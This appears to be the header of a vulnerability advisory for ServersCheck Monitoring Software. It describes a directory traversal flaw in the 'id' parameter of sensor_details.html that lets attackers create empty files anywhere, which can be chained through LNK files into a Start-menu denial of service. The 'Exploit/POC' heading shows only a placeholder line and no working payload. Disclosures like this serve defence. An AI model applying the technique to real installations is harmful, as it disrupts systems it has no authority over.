# https://serverscheck.com/monitoring-software/release.asp
# Affected Component: "sensor_details.html" webpage the "id" parameter
  # Security Issue
# ServersCheck Monitoring Software allows remote attackers to cause a denial of service 
# (menu functionality loss) by creating an LNK file that points to a second LNK file, if this 
# second LNK file is associated with a Start menu item. Ultimately, this behavior comes 
# from a Directory Traversal bug (via the sensor_details.html id parameter) that allows 
# creating empty files in arbitrary directories. 
  # Exploit/POC
# DOS Command Prompt .LNK under Start Menu change <VICTIM> to desired user.
